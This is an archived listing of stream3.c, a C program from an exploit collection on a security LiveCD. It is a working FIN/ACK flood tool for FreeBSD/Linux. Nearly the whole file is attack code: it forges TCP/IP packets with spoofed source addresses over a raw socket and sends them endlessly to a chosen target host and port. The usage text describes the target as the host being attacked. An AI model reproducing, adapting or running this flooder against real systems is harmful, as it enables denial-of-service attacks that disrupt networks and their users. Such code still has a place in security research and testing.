home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / remote / stream3.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.6 KB  |  233 lines
  1. /*                                    
  2.  stream3.c - FIN/ACK flooder
  3.  Tested to compile and work under FreeBSD
  4.  (c) by 3APA3A @ SECURITY.NNOV, 2000
  5.  3APA3A@security.nnov.ru
  6.  http://www.security.nnov.ru
  7.  Thanx to DarkZorro & Error for discovering this problem
  8.  Greetz to void.ru. Get better, Duke!
  9. */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <ctype.h>
  14. #include <strings.h>
  15. #include <sys/time.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18.  
  19.  
  20. #include <netinet/in.h>
  21. #include <netdb.h>
  22.  
  23. #ifdef LINUX
  24. #define FIX(x)  htons(x)
  25. #else
  26. #define FIX(x)  (x)
  27. #endif
  28.  
  29. #define    TH_FIN    0x01
  30. #define    TH_SYN    0x02
  31. #define    TH_RST    0x04
  32. #define    TH_PUSH    0x08
  33. #define    TH_ACK    0x10
  34. #define    TH_URG    0x20
  35.  
  36.  
  37. struct ip_hdr {
  38.     u_int       ip_hl:4,                /* header length in 32 bit words */
  39.                 ip_v:4;                 /* ip version */
  40.     u_char      ip_tos;                 /* type of service */
  41.     u_short     ip_len;                 /* total packet length */
  42.     u_short     ip_id;                  /* identification */
  43.     u_short     ip_off;                 /* fragment offset */
  44.     u_char      ip_ttl;                 /* time to live */
  45.     u_char      ip_p;                   /* protocol */
  46.     u_short     ip_sum;                 /* ip checksum */
  47.     u_long      ip_src, ip_dst;           /* source and dest address */
  48. };
  49.  
  50. struct tcp_hdr {
  51.     u_short     th_sport;               /* source port */
  52.     u_short     th_dport;               /* destination port */
  53.     u_long      th_seq;                 /* sequence number */
  54.     u_long      th_ack;                 /* acknowledgement number */
  55.     u_int       th_x2:4,                /* unused */
  56.                 th_off:4;               /* data offset */
  57.     u_char      th_flags;               /* flags field */
  58.     u_short     th_win;                 /* window size */
  59.     u_short     th_sum;                 /* tcp checksum */
  60.     u_short     th_urp;                 /* urgent pointer */
  61. };
  62.  
  63.  
  64. struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
  65.     u_long saddr, daddr;                /* source and dest address */
  66.     u_char mbz, ptcl;                   /* zero and protocol */
  67.     u_short tcpl;                       /* tcp length */
  68. };
  69.  
  70. struct packet {
  71.     struct ip_hdr ip;
  72.     struct tcp_hdr tcp;
  73. };
  74.  
  75. struct cksum {
  76.     struct pseudo_hdr pseudo;
  77.     struct tcp_hdr tcp;
  78. };
  79.  
  80.  
  81.  
  82. u_short dstport=139, srcport=0;
  83. u_long dstaddr, srcaddr=0;
  84. int sock;
  85.  
  86. void usage(char *progname)
  87. {
  88.     fprintf(stderr, 
  89.      "Usage: %s <dstaddr> <dstport> <srcaddr> <srcport>\n"
  90.      "    dstaddr     - the target we are trying to attack.\n"
  91.      "    dstport     - TCP port (139 default).\n"
  92.      "    srcaddr     - spoofed source address (random default)\n"
  93.      "    srcport     - spoofed source TCP port (random default)\n",
  94.     progname);
  95.     exit(1);
  96. }
  97.  
  98.  
  99.  
  100. /* This is a reference internet checksum implimentation, not very fast */
  101. inline u_short in_cksum(u_short *addr, int len)
  102. {
  103.     register int nleft = len;
  104.     register u_short *w = addr;
  105.     register int sum = 0;
  106.     u_short answer = 0;
  107.  
  108.      /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
  109.       * sequential 16 bit words to it, and at the end, fold back all the
  110.       * carry bits from the top 16 bits into the lower 16 bits. */
  111.  
  112.      while (nleft > 1)  {
  113.          sum += *w++;
  114.          nleft -= 2;
  115.      }
  116.  
  117.      /* mop up an odd byte, if necessary */
  118.      if (nleft == 1) {
  119.          *(u_char *)(&answer) = *(u_char *) w;
  120.          sum += answer;
  121.      }
  122.  
  123.      /* add back carry outs from top 16 bits to low 16 bits */
  124.      sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  125.      sum += (sum >> 16);                /* add carry */
  126.      answer = ~sum;                     /* truncate to 16 bits */
  127.      return(answer);
  128. }
  129.  
  130. u_long lookup(char *hostname)
  131. {
  132.     struct hostent *hp;
  133.  
  134.     if ((hp = gethostbyname(hostname)) == NULL) {
  135.        fprintf(stderr, "Could not resolve %s.\n", hostname);
  136.        exit(-3);
  137.     }
  138.  
  139.     return *(u_long *)hp->h_addr;
  140. }
  141.  
  142.  
  143. void flooder(void)
  144. {
  145.     int i;
  146.     struct packet packet;
  147.                     /* use same structure as pseudo packet */
  148.     struct cksum  * cksum = (struct cksum *)((char *)&packet + sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr)) ;
  149.     struct sockaddr_in s_in;
  150.     
  151.     memset(&packet, 0, sizeof(packet));
  152.     
  153.     if(!srcaddr)srcaddr = random();
  154.     if(!srcport)srcport = rand();
  155.  
  156.  
  157.     packet.tcp.th_win           = htons(16384);
  158.     packet.tcp.th_seq           = random();
  159.     packet.tcp.th_ack           = 0;
  160.     packet.tcp.th_off           = 5;
  161.     packet.tcp.th_urp           = 0;
  162.     packet.tcp.th_ack         = rand();
  163.     packet.tcp.th_flags     = TH_ACK|TH_FIN;
  164.     packet.tcp.th_sport     = htons(srcport);
  165.     packet.tcp.th_dport         = htons(dstport);
  166.     cksum->pseudo.daddr          = dstaddr;
  167.     cksum->pseudo.saddr         = srcaddr;
  168.     cksum->pseudo.mbz            = 0;
  169.     cksum->pseudo.ptcl           = IPPROTO_TCP;
  170.     cksum->pseudo.tcpl           = htons(sizeof(struct tcp_hdr));
  171.  
  172.     packet.tcp.th_sum           = in_cksum((void *)cksum, sizeof(struct cksum));
  173.  
  174.     packet.ip.ip_hl             = 5;
  175.     packet.ip.ip_v              = 4;
  176.     packet.ip.ip_p              = IPPROTO_TCP;
  177.     packet.ip.ip_tos            = 0x08;
  178.     packet.ip.ip_id             = rand();
  179.     packet.ip.ip_len            = FIX(sizeof(packet));
  180.     packet.ip.ip_off            = 0;
  181.     packet.ip.ip_ttl            = 255;
  182.     packet.ip.ip_dst        = dstaddr;
  183.     packet.ip.ip_src         = srcaddr;
  184.     packet.ip.ip_sum             = 0;
  185.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  186.  
  187.     s_in.sin_family             = AF_INET;
  188.     s_in.sin_port               = htons(dstport);
  189.     s_in.sin_addr.s_addr    = dstaddr;
  190.     for(i=0;;++i) {            /* we do not want to change packet at all */
  191.        if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
  192.           perror("sendto()");
  193.     }
  194. }
  195.  
  196. int main(int argc, char *argv[])
  197. {
  198.     int on = 1;
  199.  
  200.     printf("stream3.c v0.1 - FIN/ACK Storm\n 3APA3A@security.nnov.ru\n");
  201.  
  202.     if (argc < 1) exit(-3);
  203.     if (argc < 3 || argc > 5)
  204.        usage(argv[0]);
  205.  
  206.     srand(time(NULL));             /* we needn't too much randomness */
  207.  
  208.     dstaddr     = lookup(argv[1]);
  209.     dstport     = atoi(argv[2]);
  210.  
  211.     if (!dstaddr || !dstport) usage(argv[0]);
  212.  
  213.     if(argc > 3) srcaddr = lookup(argv[3]);
  214.     if(argc > 4) srcport = atoi(argv[4]);
  215.  
  216.     if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  217.        perror("socket()");
  218.        exit(-1);
  219.     }
  220.  
  221.     if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  222.        perror("setsockopt()");
  223.        exit(-2);
  224.     }
  225.  
  226.     printf("Starting"); 
  227.     fflush(stdout);
  228.  
  229.     flooder();
  230.  
  231.     return 0;
  232. }
  233.